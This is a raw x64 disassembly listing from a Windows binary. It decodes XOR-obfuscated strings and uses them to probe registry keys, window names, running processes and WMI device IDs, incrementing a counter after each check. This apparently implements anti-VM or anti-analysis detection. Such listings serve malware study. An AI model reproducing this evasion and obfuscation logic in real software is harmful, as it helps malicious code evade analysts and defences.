mov qword [rbp + 0x1518], rax
movabs rax, 0x521f281a93cd3b67
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1520], rax
movabs rax, 0x31519e778c3edc08
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1528], rax
movabs rax, 0x174f8b649097be01
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1530], rax
mov qword [rbp], rcx
mov rax, qword [rbp]
mov qword [rbp + 0x1538], rax
vmovdqu ymm0, ymmword [rbp + 0x540]
vpxor ymm1, ymm0, ymmword [rbp + 0x1500]
vmovdqa ymmword [rbp + 0x540], ymm1
vmovdqu ymm0, ymmword [rbp + 0x560]
vpxor ymm1, ymm0, ymmword [rbp + 0x1520]
vmovdqa ymmword [rbp + 0x560], ymm1
vzeroupper
call fcn.14003ce40
xor r8d, r8d
lea rdx, [rbp + 0x540]
mov rcx, 0xffffffff80000002
test eax, eax
lea rax, [rbp + 0xc78]
mov qword [rsp + 0x20], rax
mov r9d, 0x20119
jne 0x140033f04
mov r9d, 0x20019
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x140033fb7
mov rcx, qword [rbp + 0xc78]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x270], rax
movabs rax, 0x44ca842b02708639
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x278], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x1080], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x1088], rax
movdqa xmm0, xmmword [rbp + 0x270]
xorps xmm0, xmmword [rbp + 0x1080]
movdqa xmmword [rbp + 0x270], xmm0
lea rdx, [rbp + 0x270]
lea rcx, [rbp + 0xac0]
call fcn.1400122c0
nop
lea rdx, [rbp + 0xac0]
lea rcx, [rbp + 0xc98]
call fcn.140037360
nop
lea rcx, [rbp + 0xac0]
call fcn.140008650
inc r14d
mov dword [rbp + 8], r14d
movabs rax, 0x9739752c022211cb
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x580], rax
movabs rax, 0x6c73a52933709323
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x588], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x590], rax
movabs rax, 0x62ec0bdb8bb1694f
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x598], rax
movabs rax, 0x5249284693993b23
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x5a0], rax
movabs rax, 0x310e9e2f8c71dc4a
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x5a8], rax
movabs rax, 0x174f8b649097be5e
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x5b0], rax
movabs rdx, 0xe5806ff9128ebeaa
mov qword [rbp], rdx
mov rax, qword [rbp]
mov qword [rbp + 0x5b8], rax
movabs rax, 0x977d757e02631183
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x14c0], rax
movabs rax, 0x6c36a57b33319374
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x14c8], rax
movabs rax, 0x9fb8db786250e02d
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x14d0], rax
movabs rax, 0x62ad0b9d8bed6906
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x14d8], rax
movabs rax, 0x521f281a93cd3b67
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x14e0], rax
movabs rax, 0x31519e778c3edc08
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x14e8], rax
movabs rax, 0x174f8b649097be01
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x14f0], rax
mov qword [rbp], rdx
mov rax, qword [rbp]
mov qword [rbp + 0x14f8], rax
vmovdqu ymm0, ymmword [rbp + 0x580]
vpxor ymm1, ymm0, ymmword [rbp + 0x14c0]
vmovdqa ymmword [rbp + 0x580], ymm1
vmovdqu ymm0, ymmword [rbp + 0x5a0]
vpxor ymm1, ymm0, ymmword [rbp + 0x14e0]
vmovdqa ymmword [rbp + 0x5a0], ymm1
vzeroupper
call fcn.14003ce40
xor r8d, r8d
lea rdx, [rbp + 0x580]
mov rcx, 0xffffffff80000002
test eax, eax
lea rax, [rbp + 0xc70]
mov qword [rsp + 0x20], rax
mov r9d, 0x20119
jne 0x140034198
mov r9d, 0x20019
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x14003424b
mov rcx, qword [rbp + 0xc70]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x3b0], rax
movabs rax, 0x44ca842802708639
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x3b8], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0xfb0], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0xfb8], rax
movdqa xmm0, xmmword [rbp + 0x3b0]
xorps xmm0, xmmword [rbp + 0xfb0]
movdqa xmmword [rbp + 0x3b0], xmm0
lea rdx, [rbp + 0x3b0]
lea rcx, [rbp + 0x900]
call fcn.1400122c0
nop
lea rdx, [rbp + 0x900]
lea rcx, [rbp + 0xc98]
call fcn.140037360
nop
lea rcx, [rbp + 0x900]
call fcn.140008650
inc r14d
mov dword [rbp + 8], r14d
movabs rax, 0x9739752c022211cb
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x5c0], rax
movabs rax, 0x6c73a52933709323
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x5c8], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x5d0], rax
movabs rax, 0x62fe0bcf8bb1694f
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x5d8], rax
movabs rax, 0x5249284693993b23
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x5e0], rax
movabs rax, 0x310e9e2f8c71dc4a
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x5e8], rax
movabs rax, 0x174f8b649097be5e
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x5f0], rax
movabs rcx, 0xe5806ff9128ebeaa
mov qword [rbp], rcx
mov rax, qword [rbp]
mov qword [rbp + 0x5f8], rax
movabs rax, 0x977d757e02631183
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1560], rax
movabs rdi, 0x6c36a57b33319374
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x1568], rax
movabs rax, 0x9fb8db786250e02d
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1570], rax
movabs rax, 0x62ad0b9d8bed6906
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1578], rax
movabs rax, 0x521f281a93cd3b67
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1580], rax
movabs rax, 0x31519e778c3edc08
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1588], rax
movabs rax, 0x174f8b649097be01
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1590], rax
mov qword [rbp], rcx
mov rax, qword [rbp]
mov qword [rbp + 0x1598], rax
vmovdqu ymm0, ymmword [rbp + 0x5c0]
vpxor ymm1, ymm0, ymmword [rbp + 0x1560]
vmovdqa ymmword [rbp + 0x5c0], ymm1
vmovdqu ymm0, ymmword [rbp + 0x5e0]
vpxor ymm1, ymm0, ymmword [rbp + 0x1580]
vmovdqa ymmword [rbp + 0x5e0], ymm1
vzeroupper
call fcn.14003ce40
xor r8d, r8d
lea rdx, [rbp + 0x5c0]
mov rcx, 0xffffffff80000002
test eax, eax
lea rax, [rbp + 0xc68]
mov qword [rsp + 0x20], rax
mov r9d, 0x20119
jne 0x14003442c
mov r9d, 0x20019
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x1400344df
mov rcx, qword [rbp + 0xc68]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x3c0], rax
movabs rax, 0x44ca842902708639
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x3c8], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x11b0], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x11b8], rax
movdqa xmm0, xmmword [rbp + 0x3c0]
xorps xmm0, xmmword [rbp + 0x11b0]
movdqa xmmword [rbp + 0x3c0], xmm0
lea rdx, [rbp + 0x3c0]
lea rcx, [rbp + 0xa80]
call fcn.1400122c0
nop
lea rdx, [rbp + 0xa80]
lea rcx, [rbp + 0xc98]
call fcn.140037360
nop
lea rcx, [rbp + 0xa80]
call fcn.140008650
inc r14d
mov dword [rbp + 8], r14d
call fcn.14003efd0
test eax, eax
je 0x140034584
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x3d0], rax
movabs rax, 0x44ca842602708639
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x3d8], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x11c0], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x11c8], rax
movdqa xmm0, xmmword [rbp + 0x3d0]
xorps xmm0, xmmword [rbp + 0x11c0]
movdqa xmmword [rbp + 0x3d0], xmm0
lea rdx, [rbp + 0x3d0]
lea rcx, [rbp + 0xa60]
call fcn.1400122c0
nop
lea rdx, [rbp + 0xa60]
lea rcx, [rbp + 0xc98]
call fcn.140037360
nop
lea rcx, [rbp + 0xa60]
call fcn.140008650
inc r14d
mov dword [rbp + 8], r14d
movabs rax, 0xae445a4d304c27b3
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x440], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x448], rax
movabs rdx, 0x977d757e02631183
mov qword [rbp], rdx
mov rax, qword [rbp]
mov qword [rbp + 0x11d0], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x11d8], rax
movdqa xmm0, xmmword [rbp + 0x440]
xorps xmm0, xmmword [rbp + 0x11d0]
movdqa xmmword [rbp + 0x440], xmm0
movabs rax, 0x9709750d021a11d0
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x660], rax
movabs rax, 0x6c5fa539335c9311
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x668], rax
movabs rax, 0x9fd9db3c6223e042
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x670], rax
movabs rax, 0x62ad0b9d8b886972
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x678], rax
mov qword [rbp], rdx
mov rax, qword [rbp]
mov qword [rbp + 0x1460], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x1468], rax
movabs r9, 0x9fb8db786250e02d
mov qword [rbp], r9
mov rax, qword [rbp]
mov qword [rbp + 0x1470], rax
movabs r8, 0x62ad0b9d8bed6906
mov qword [rbp], r8
mov rax, qword [rbp]
mov qword [rbp + 0x1478], rax
vmovdqu ymm0, ymmword [rbp + 0x1460]
vpxor ymm0, ymm0, ymmword [rbp + 0x660]
vmovdqu ymmword [rbp + 0x660], ymm0
movabs rax, 0x9739752c022211cb
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x740], rax
movabs rax, 0x6c73a52933709323
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x748], rax
movabs rax, 0x9febdb3d6214e071
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x750], rax
movabs rax, 0x62fd0bd48bbf6945
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x758], rax
movabs rax, 0x5251285593843b33
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x760], rax
movabs rax, 0x31229e0e8c6ddc54
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x768], rax
movabs rax, 0x174f8b0990f2be75
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x770], rax
movabs rcx, 0xe5806ff9128ebeaa
mov qword [rbp], rcx
mov rax, qword [rbp]
mov qword [rbp + 0x778], rax
mov qword [rbp], rdx
mov rax, qword [rbp]
mov qword [rbp + 0x15a0], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x15a8], rax
mov qword [rbp], r9
mov rax, qword [rbp]
mov qword [rbp + 0x15b0], rax
mov qword [rbp], r8
mov rax, qword [rbp]
mov qword [rbp + 0x15b8], rax
movabs rax, 0x521f281a93cd3b67
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x15c0], rax
movabs rax, 0x31519e778c3edc08
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x15c8], rax
movabs rax, 0x174f8b649097be01
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x15d0], rax
mov qword [rbp], rcx
mov rax, qword [rbp]
mov qword [rbp + 0x15d8], rax
vmovdqu ymm0, ymmword [rbp + 0x15a0]
vpxor ymm0, ymm0, ymmword [rbp + 0x740]
vmovdqa ymmword [rbp + 0x740], ymm0
vmovdqu ymm0, ymmword [rbp + 0x760]
vpxor ymm1, ymm0, ymmword [rbp + 0x15c0]
vmovdqa ymmword [rbp + 0x760], ymm1
lea r9, [rbp + 0x440]
lea r8, [rbp + 0x660]
lea rdx, [rbp + 0x740]
vzeroupper
call fcn.14003cca0
test eax, eax
je 0x140034902
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x3e0], rax
movabs rax, 0x44ca842702708639
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x3e8], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x11e0], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x11e8], rax
movdqa xmm0, xmmword [rbp + 0x3e0]
xorps xmm0, xmmword [rbp + 0x11e0]
movdqa xmmword [rbp + 0x3e0], xmm0
lea rdx, [rbp + 0x3e0]
lea rcx, [rbp + 0xa40]
call fcn.1400122c0
nop
lea rdx, [rbp + 0xa40]
lea rcx, [rbp + 0xc98]
call fcn.140037360
nop
lea rcx, [rbp + 0xa40]
call fcn.140008650
inc r14d
mov dword [rbp + 8], r14d
call fcn.14003fd30
movabs rbx, 0x548d27b4cf084103
test eax, eax
je 0x1400349b1
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x3f0], rax
movabs rax, 0x44ca842f1e798400
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x3f8], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x11f0], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x11f8], rax
movdqa xmm0, xmmword [rbp + 0x3f0]
xorps xmm0, xmmword [rbp + 0x11f0]
movdqa xmmword [rbp + 0x3f0], xmm0
lea rdx, [rbp + 0x3f0]
lea rcx, [rbp + 0xa20]
call fcn.1400122c0
nop
lea rdx, [rbp + 0xa20]
lea rcx, [rbp + 0xc98]
call fcn.140037360
nop
lea rcx, [rbp + 0xa20]
call fcn.140008650
inc r14d
mov dword [rbp + 8], r14d
call fcn.140040450
test eax, eax
je 0x140034a56
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x400], rax
movabs rax, 0x44ca842c1e798400
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x408], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x1200], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x1208], rax
movdqa xmm0, xmmword [rbp + 0x400]
xorps xmm0, xmmword [rbp + 0x1200]
movdqa xmmword [rbp + 0x400], xmm0
lea rdx, [rbp + 0x400]
lea rcx, [rbp + 0xa00]
call fcn.1400122c0
nop
lea rdx, [rbp + 0xa00]
lea rcx, [rbp + 0xc98]
call fcn.140037360
nop
lea rcx, [rbp + 0xa00]
call fcn.140008650
inc r14d
mov dword [rbp + 8], r14d
xorps xmm0, xmm0
movups xmmword [rbp + 0x2c0], xmm0
mov qword [rbp + 0x2d0], r12
mov qword [rbp + 0x2d8], r12
mov r8d, 1
lea rdx, [0x1400833f0]
lea rcx, [rbp + 0x2c0]
call fcn.140016e70
nop
lea rcx, [rbp + 0x2c0]
call fcn.14003d2a0
movzx ebx, al
mov rdx, qword [rbp + 0x2d8]
cmp rdx, 0xf
jbe 0x140034ad8
inc rdx
mov rcx, qword [rbp + 0x2c0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140034ad3
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400360b2
call fcn.140045d00
mov qword [rbp + 0x2d0], r12
mov qword [rbp + 0x2d8], 0xf
mov byte [rbp + 0x2c0], 0
test bl, bl
je 0x140034b91
movabs rax, 0x449539b4cf084103
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x410], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x418], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x1210], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x1218], rax
movdqa xmm0, xmmword [rbp + 0x410]
xorps xmm0, xmmword [rbp + 0x1210]
movdqa xmmword [rbp + 0x410], xmm0
lea rdx, [rbp + 0x410]
lea rcx, [rbp + 0x8e0]
call fcn.1400122c0
nop
lea rdx, [rbp + 0x8e0]
lea rcx, [rbp + 0xc98]
call fcn.140037360
nop
lea rcx, [rbp + 0x8e0]
call fcn.140008650
inc r14d
mov dword [rbp + 8], r14d
call fcn.140041390
test eax, eax
je 0x140034c40
movabs rax, 0x519130b4cf084103
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x420], rax
movabs rax, 0x44ca841e08708e0f
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x428], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x10f0], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x10f8], rax
movdqa xmm0, xmmword [rbp + 0x420]
xorps xmm0, xmmword [rbp + 0x10f0]
movdqa xmmword [rbp + 0x420], xmm0
lea rdx, [rbp + 0x420]
lea rcx, [rbp + 0x8c0]
call fcn.1400122c0
nop
lea rdx, [rbp + 0x8c0]
lea rcx, [rbp + 0xc98]
call fcn.140037360
nop
lea rcx, [rbp + 0x8c0]
call fcn.140008650
inc r14d
mov dword [rbp + 8], r14d
call fcn.140041940
test eax, eax
je 0x140034d4d
movabs rax, 0x53913ab4cf084103
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x680], rax
movabs rax, 0x25a2f74110678211
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x688], rax
movabs rax, 0xa83bf489d89aa035
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x690], rax
movabs rcx, 0xe0ee54dcd1454548
mov qword [rbp], rcx
mov rax, qword [rbp]
mov qword [rbp + 0x698], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x1300], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x1308], rax
movabs rax, 0xa83bf489d89ac547
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1310], rax
mov qword [rbp], rcx
mov rax, qword [rbp]
mov qword [rbp + 0x1318], rax
vmovdqu ymm0, ymmword [rbp + 0x680]
vpxor ymm1, ymm0, ymmword [rbp + 0x1300]
vmovdqa ymmword [rbp + 0x680], ymm1
lea rdx, [rbp + 0x680]
lea rcx, [rbp + 0x8a0]
vzeroupper
call fcn.1400122c0
nop
lea rdx, [rbp + 0x8a0]
lea rcx, [rbp + 0xc98]
call fcn.140037360
nop
lea rcx, [rbp + 0x8a0]
call fcn.140008650
inc r14d
mov dword [rbp + 8], r14d
movabs r15, 0x97057511022111d5
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x7e0], rax
movabs rsi, 0x6c4fa51a33439320
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x7e8], rax
movabs rdi, 0x9fd4db17623fe079
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x7f0], rax
movabs rax, 0x62ee0bf98b836951
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x7f8], rax
movabs rax, 0x526c286993ac3b0b
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x800], rax
movabs rcx, 0x31519e778c3edc08
mov qword [rbp], rcx
mov rax, qword [rbp]
mov qword [rbp + 0x808], rax
movabs rax, 0x977d757e02631183
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1260], rax
movabs rax, 0x6c36a57b33319374
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1268], rax
movabs rax, 0x9fb8db786250e02d
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1270], rax
movabs rax, 0x62ad0b9d8bed6906
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1278], rax
movabs rax, 0x521f281a93cd3b67
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1280], rax
mov qword [rbp], rcx
mov rax, qword [rbp]
mov qword [rbp + 0x1288], rax
vmovdqu ymm0, ymmword [rbp + 0x7e0]
vpxor ymm1, ymm0, ymmword [rbp + 0x1260]
vmovdqa ymmword [rbp + 0x7e0], ymm1
vmovdqa xmm0, xmmword [rbp + 0x800]
vxorps xmm0, xmm0, xmmword [rbp + 0x1280]
vmovdqa xmmword [rbp + 0x800], xmm0
xor edx, edx
lea rcx, [rbp + 0x7e0]
vzeroupper
call qword [sym.imp.USER32.dll_FindWindowW]
mov rbx, rax
mov qword [rbp], r15
mov rcx, qword [rbp]
mov qword [rbp + 0x6a0], rcx
mov qword [rbp], rsi
mov rcx, qword [rbp]
mov qword [rbp + 0x6a8], rcx
mov qword [rbp], rdi
mov rcx, qword [rbp]
mov qword [rbp + 0x6b0], rcx
movabs rax, 0x62ad0bf98b836951
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x6b8], rax
movabs rax, 0x977d757e02631183
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1320], rax
movabs rax, 0x6c36a57b33319374
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1328], rax
movabs rax, 0x9fb8db786250e02d
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1330], rax
movabs rax, 0x62ad0b9d8bed6906
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1338], rax
vmovdqu ymm0, ymmword [rbp + 0x1320]
vpxor ymm0, ymm0, ymmword [rbp + 0x6a0]
vmovdqu ymmword [rbp + 0x6a0], ymm0
lea rdx, [rbp + 0x6a0]
xor ecx, ecx
vzeroupper
call qword [sym.imp.USER32.dll_FindWindowW]
test rbx, rbx
jne 0x140034f96
test rax, rax
je 0x14003504c
movabs rax, 0x468620b4cf084103
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x430], rax
movabs rax, 0x44bdeb7a157c9a1f
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x438], rax
movabs r15, 0x27f454ebb7672375
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x10e0], rax
movabs rsi, 0x44ca841e7b15ed66
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x10e8], rax
movdqa xmm0, xmmword [rbp + 0x430]
xorps xmm0, xmmword [rbp + 0x10e0]
movdqa xmmword [rbp + 0x430], xmm0
lea rdx, [rbp + 0x430]
lea rcx, [rbp + 0x860]
call fcn.1400122c0
nop
lea rdx, [rbp + 0x860]
lea rcx, [rbp + 0xc98]
call fcn.140037360
nop
lea rcx, [rbp + 0x860]
call fcn.140008650
inc r14d
mov dword [rbp + 8], r14d
mov ebx, r12d
xor edx, edx
lea ecx, [rdx + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rdi, rax
cmp rax, 0xffffffffffffffff
je 0x140035366
mov dword [rbp + 0xd70], 0x238
lea rdx, [rbp + 0xd70]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
jne 0x140035093
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x140035366
movabs rsi, 0x97057511020111f5
movabs rcx, 0x62ad0bf88b956963
movabs r15, 0x6c40a50933549307
movabs r14, 0x9f96db1d6233e044
nop dword [rax + rax]
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x6c0], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x6c8], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x6d0], rax
mov qword [rbp], rcx
mov rax, qword [rbp]
mov qword [rbp + 0x6d8], rax
movabs rax, 0x977d757e02631183
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1340], rax
movabs rax, 0x6c36a57b33319374
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1348], rax
movabs rax, 0x9fb8db786250e02d
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1350], rax
movabs rax, 0x62ad0b9d8bed6906
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1358], rax
vmovdqu ymm0, ymmword [rbp + 0x1340]
vpxor ymm0, ymm0, ymmword [rbp + 0x6c0]
vmovdqu ymmword [rbp + 0x6c0], ymm0
lea rdx, [rbp + 0x6c0]
lea rcx, [rbp + 0xd9c]
vzeroupper
call qword [sym.imp.KERNEL32.dll_lstrcmpiW]
test eax, eax
mov eax, 1
cmove ebx, eax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x600], rax
movabs rax, 0x6c4fa51a33439300
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x608], rax
movabs rax, 0x9fdddb006235e003
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x610], rax
movabs rcx, 0x62ad0b9d8bed6906
mov qword [rbp], rcx
mov rax, qword [rbp]
mov qword [rbp + 0x618], rax
movabs rax, 0x977d757e02631183
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1360], rax
movabs rax, 0x6c36a57b33319374
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1368], rax
movabs rax, 0x9fb8db786250e02d
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1370], rax
mov qword [rbp], rcx
mov rax, qword [rbp]
mov qword [rbp + 0x1378], rax
vmovdqu ymm0, ymmword [rbp + 0x1360]
vpxor ymm0, ymm0, ymmword [rbp + 0x600]
vmovdqu ymmword [rbp + 0x600], ymm0
lea rdx, [rbp + 0x600]
lea rcx, [rbp + 0xd9c]
vzeroupper
call qword [sym.imp.KERNEL32.dll_lstrcmpiW]
test eax, eax
mov eax, 1
cmove ebx, eax
lea rdx, [rbp + 0xd70]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
movabs rcx, 0x62ad0bf88b956963
jne 0x1400350c0
test ebx, ebx
mov r14d, dword [rbp + 8]
movabs rsi, 0x44ca841e7b15ed66
movabs r15, 0x27f454ebb7672375
je 0x140035366
movabs rax, 0x488624b4cf084103
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x3a0], rax
movabs rax, 0x44caf77b08668805
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x3a8], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x10d0], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x10d8], rax
movdqa xmm0, xmmword [rbp + 0x3a0]
xorps xmm0, xmmword [rbp + 0x10d0]
movdqa xmmword [rbp + 0x3a0], xmm0
lea rdx, [rbp + 0x3a0]
lea rcx, [rbp + 0x9c0]
call fcn.1400122c0
nop
lea rdx, [rbp + 0x9c0]
lea rcx, [rbp + 0xc98]
call fcn.140037360
nop
lea rcx, [rbp + 0x9c0]
call fcn.140008650
inc r14d
mov qword [rbp + 0xc50], r12
lea rdx, [rbp + 0xc50]
lea rcx, str.rootcimv2
call fcn.14003d5a0
cmp eax, 1
jne 0x140035638
mov rdi, qword [rbp + 0xc50]
mov esi, r12d
mov qword [rbp + 0xc40], r12
lea rcx, [0x140083510]
call qword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov r12, rax
lea rcx, str.SELECT_DeviceId_FROM_Win32_PnPEntity
call qword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov r13, rax
mov rdx, qword [rdi]
mov rbx, qword [rdx + 0xa0]
lea rax, [rbp + 0xc40]
mov qword [rsp + 0x28], rax
